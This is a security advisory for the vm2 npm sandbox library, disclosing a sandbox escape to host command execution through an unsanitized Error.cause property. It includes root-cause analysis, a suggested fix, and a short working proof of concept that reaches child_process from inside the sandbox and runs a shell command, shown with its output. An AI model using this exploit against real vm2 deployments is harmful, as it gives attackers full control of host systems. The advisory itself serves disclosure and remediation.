GHSA-M283-3H24-438V
Vulnerability from github – Published: 2026-08-17 17:32 – Updated: 2026-08-17 17:32Affected: vm2 <= 3.11.3
CVSS 3.1: 9.9 HIGH (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
CWE: CWE-693 (Protection Mechanism Failure)
Prerequisite: Embedder exposes a host function that throws an Error with .cause referencing a powerful host object (e.g., process)
Summary
I found that handleException() in lib/setup-sandbox.js recursively sanitizes sub-errors for SuppressedError and AggregateError, but completely ignores the ES2022 Error.cause property. When sandbox code catches a host-thrown error carrying a .cause that references a host object like process, it can traverse that reference to achieve arbitrary command execution on the host.
The project's own docs/ATTACKS.md (Defense Invariant #3, line 54) explicitly claims Error.cause is sanitized. The implementation does not match this claim.
Root Cause
The handleException function (lines 869-959 of lib/setup-sandbox.js) walks the prototype chain of caught errors looking for SuppressedError and AggregateError. When it finds them, it recursively sanitizes their contained errors (.error, .suppressed, .errors[]). For all other error types, it returns e directly at line 958 without inspecting .cause.
function handleException(e, visited) {
e = ensureThis(e);
if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e;
// ... cycle detection ...
while (proto !== null) {
if (proto === localSuppressedErrorProto) {
e.error = handleException(e.error, visited); // sanitized
e.suppressed = handleException(e.suppressed, visited); // sanitized
return e;
}
if (proto === localAggregateErrorProto) {
// sanitizes e.errors[] ...
return e;
}
proto = localReflectGetPrototypeOf(proto);
}
return e; // .cause is NEVER checked
}
Error.cause was introduced in ES2022 (Node 16.9+). When handleException was extended to cover SuppressedError (for ES2024 using declarations) and AggregateError, the .cause property was simply overlooked.
Affected Code
lib/setup-sandbox.js:869-959, thehandleExceptionfunction (missing.causehandling)lib/setup-sandbox.js:886,ensureThiswraps the error but does not recurse into.causedocs/ATTACKS.md:54, Defense Invariant #3 falsely claims.causeis covered
Reproduction
Embedder code that exposes a function throwing with .cause set to process:
const { VM } = require('vm2');
const vm = new VM({
sandbox: {
hostFn: () => {
throw new Error('fail', { cause: process });
}
}
});
const result = vm.run(`
try {
hostFn();
} catch (e) {
// .cause is not sanitized, so we get a direct reference to host process
const proc = e.cause;
proc.mainModule.require('child_process').execSync('id').toString();
}
`);
console.log(result);
Verified output:
uid=502(vladimir.tokarev) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),...
Full RCE confirmed.
Impact
Any application using vm2 where an embedder-exposed function throws an Error with .cause referencing a host object is vulnerable. The attacker gains:
- Full host process access (read/write files, spawn processes, network access)
- Sandbox escape with changed scope (CVSS S:C)
- No user interaction required
The prerequisite (embedder throwing with .cause) is increasingly common. Error chaining via new Error('msg', { cause: originalError }) is standard practice in modern Node.js code. Library wrappers, database adapters, and HTTP clients routinely chain errors this way.
Suggested Fix
Add .cause sanitization before the prototype-chain walk, so it applies to all error types:
function handleException(e, visited) {
e = ensureThis(e);
if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e;
if (!visited) visited = new LocalWeakMap();
if (apply(localWeakMapGet, visited, [e])) return e;
apply(localWeakMapSet, visited, [e, true]);
// Sanitize .cause on ALL errors (ES2022)
try {
if ('cause' in e) {
e.cause = handleException(e.cause, visited);
}
} catch (ex) { /* best effort */ }
let proto = localReflectGetPrototypeOf(e);
while (proto !== null) {
if (proto === localSuppressedErrorProto) {
e.error = handleException(e.error, visited);
e.suppressed = handleException(e.suppressed, visited);
return e;
}
if (proto === localAggregateErrorProto) {
if (localArrayIsArray(e.errors)) {
for (let i = 0; i < e.errors.length; i++) {
e.errors[i] = handleException(e.errors[i], visited);
}
}
return e;
}
proto = localReflectGetPrototypeOf(proto);
}
return e;
}
docs/ATTACKS.md Defense Invariant #3 should also be updated to reflect reality until this fix ships.
Artifacts
| File | Role |
|---|---|
poc_error_cause_escape.js |
PoC demonstrating sandbox escape to RCE via unsanitized .cause |
| poc_error_cause_escape.js |
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.11.5"
},
"package": {
"ecosystem": "npm",
"name": "vm2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.11.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47686"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-17T17:32:34Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "**Affected:** vm2 \u003c= 3.11.3\n**CVSS 3.1:** 9.9 HIGH (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)\n**CWE:** CWE-693 (Protection Mechanism Failure)\n**Prerequisite:** Embedder exposes a host function that throws an Error with `.cause` referencing a powerful host object (e.g., `process`)\n\n## Summary\n\nI found that `handleException()` in `lib/setup-sandbox.js` recursively sanitizes sub-errors for `SuppressedError` and `AggregateError`, but completely ignores the ES2022 `Error.cause` property. When sandbox code catches a host-thrown error carrying a `.cause` that references a host object like `process`, it can traverse that reference to achieve arbitrary command execution on the host.\n\nThe project\u0027s own `docs/ATTACKS.md` (Defense Invariant #3, line 54) explicitly claims Error.cause is sanitized. The implementation does not match this claim.\n\n## Root Cause\n\nThe `handleException` function (lines 869-959 of `lib/setup-sandbox.js`) walks the prototype chain of caught errors looking for `SuppressedError` and `AggregateError`. When it finds them, it recursively sanitizes their contained errors (`.error`, `.suppressed`, `.errors[]`). For all other error types, it returns `e` directly at line 958 without inspecting `.cause`.\n\n```javascript\nfunction handleException(e, visited) {\n e = ensureThis(e);\n if (e === null || (typeof e !== \u0027object\u0027 \u0026\u0026 typeof e !== \u0027function\u0027)) return e;\n // ... cycle detection ...\n while (proto !== null) {\n if (proto === localSuppressedErrorProto) {\n e.error = handleException(e.error, visited); // sanitized\n e.suppressed = handleException(e.suppressed, visited); // sanitized\n return e;\n }\n if (proto === localAggregateErrorProto) {\n // sanitizes e.errors[] ...\n return e;\n }\n proto = localReflectGetPrototypeOf(proto);\n }\n return e; // .cause is NEVER checked\n}\n```\n\nError.cause was introduced in ES2022 (Node 16.9+). When `handleException` was extended to cover `SuppressedError` (for ES2024 `using` declarations) and `AggregateError`, the `.cause` property was simply overlooked.\n\n## Affected Code\n\n- `lib/setup-sandbox.js:869-959`, the `handleException` function (missing `.cause` handling)\n- `lib/setup-sandbox.js:886`, `ensureThis` wraps the error but does not recurse into `.cause`\n- `docs/ATTACKS.md:54`, Defense Invariant #3 falsely claims `.cause` is covered\n\n## Reproduction\n\nEmbedder code that exposes a function throwing with `.cause` set to `process`:\n\n```javascript\nconst { VM } = require(\u0027vm2\u0027);\n\nconst vm = new VM({\n sandbox: {\n hostFn: () =\u003e {\n throw new Error(\u0027fail\u0027, { cause: process });\n }\n }\n});\n\nconst result = vm.run(`\n try {\n hostFn();\n } catch (e) {\n // .cause is not sanitized, so we get a direct reference to host process\n const proc = e.cause;\n proc.mainModule.require(\u0027child_process\u0027).execSync(\u0027id\u0027).toString();\n }\n`);\n\nconsole.log(result);\n```\n\nVerified output:\n\n```\nuid=502(vladimir.tokarev) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),...\n```\n\nFull RCE confirmed.\n\n## Impact\n\nAny application using vm2 where an embedder-exposed function throws an Error with `.cause` referencing a host object is vulnerable. The attacker gains:\n\n- Full host process access (read/write files, spawn processes, network access)\n- Sandbox escape with changed scope (CVSS S:C)\n- No user interaction required\n\nThe prerequisite (embedder throwing with `.cause`) is increasingly common. Error chaining via `new Error(\u0027msg\u0027, { cause: originalError })` is standard practice in modern Node.js code. Library wrappers, database adapters, and HTTP clients routinely chain errors this way.\n\n## Suggested Fix\n\nAdd `.cause` sanitization before the prototype-chain walk, so it applies to all error types:\n\n```javascript\nfunction handleException(e, visited) {\n e = ensureThis(e);\n if (e === null || (typeof e !== \u0027object\u0027 \u0026\u0026 typeof e !== \u0027function\u0027)) return e;\n if (!visited) visited = new LocalWeakMap();\n if (apply(localWeakMapGet, visited, [e])) return e;\n apply(localWeakMapSet, visited, [e, true]);\n\n // Sanitize .cause on ALL errors (ES2022)\n try {\n if (\u0027cause\u0027 in e) {\n e.cause = handleException(e.cause, visited);\n }\n } catch (ex) { /* best effort */ }\n\n let proto = localReflectGetPrototypeOf(e);\n while (proto !== null) {\n if (proto === localSuppressedErrorProto) {\n e.error = handleException(e.error, visited);\n e.suppressed = handleException(e.suppressed, visited);\n return e;\n }\n if (proto === localAggregateErrorProto) {\n if (localArrayIsArray(e.errors)) {\n for (let i = 0; i \u003c e.errors.length; i++) {\n e.errors[i] = handleException(e.errors[i], visited);\n }\n }\n return e;\n }\n proto = localReflectGetPrototypeOf(proto);\n }\n return e;\n}\n```\n\n`docs/ATTACKS.md` Defense Invariant #3 should also be updated to reflect reality until this fix ships.\n\n## Artifacts\n\n| File | Role |\n|------|------|\n| `poc_error_cause_escape.js` | PoC demonstrating sandbox escape to RCE via unsanitized `.cause` |\n[poc_error_cause_escape.js](https://github.com/user-attachments/files/27952274/poc_error_cause_escape.js)",
"id": "GHSA-m283-3h24-438v",
"modified": "2026-08-17T17:32:34Z",
"published": "2026-08-17T17:32:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-m283-3h24-438v"
},
{
"type": "PACKAGE",
"url": "https://github.com/patriksimek/vm2"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/releases/tag/3.11.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "VM2 has Missing Error.cause Sanitization that Enables Sandbox Escape to RCE"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.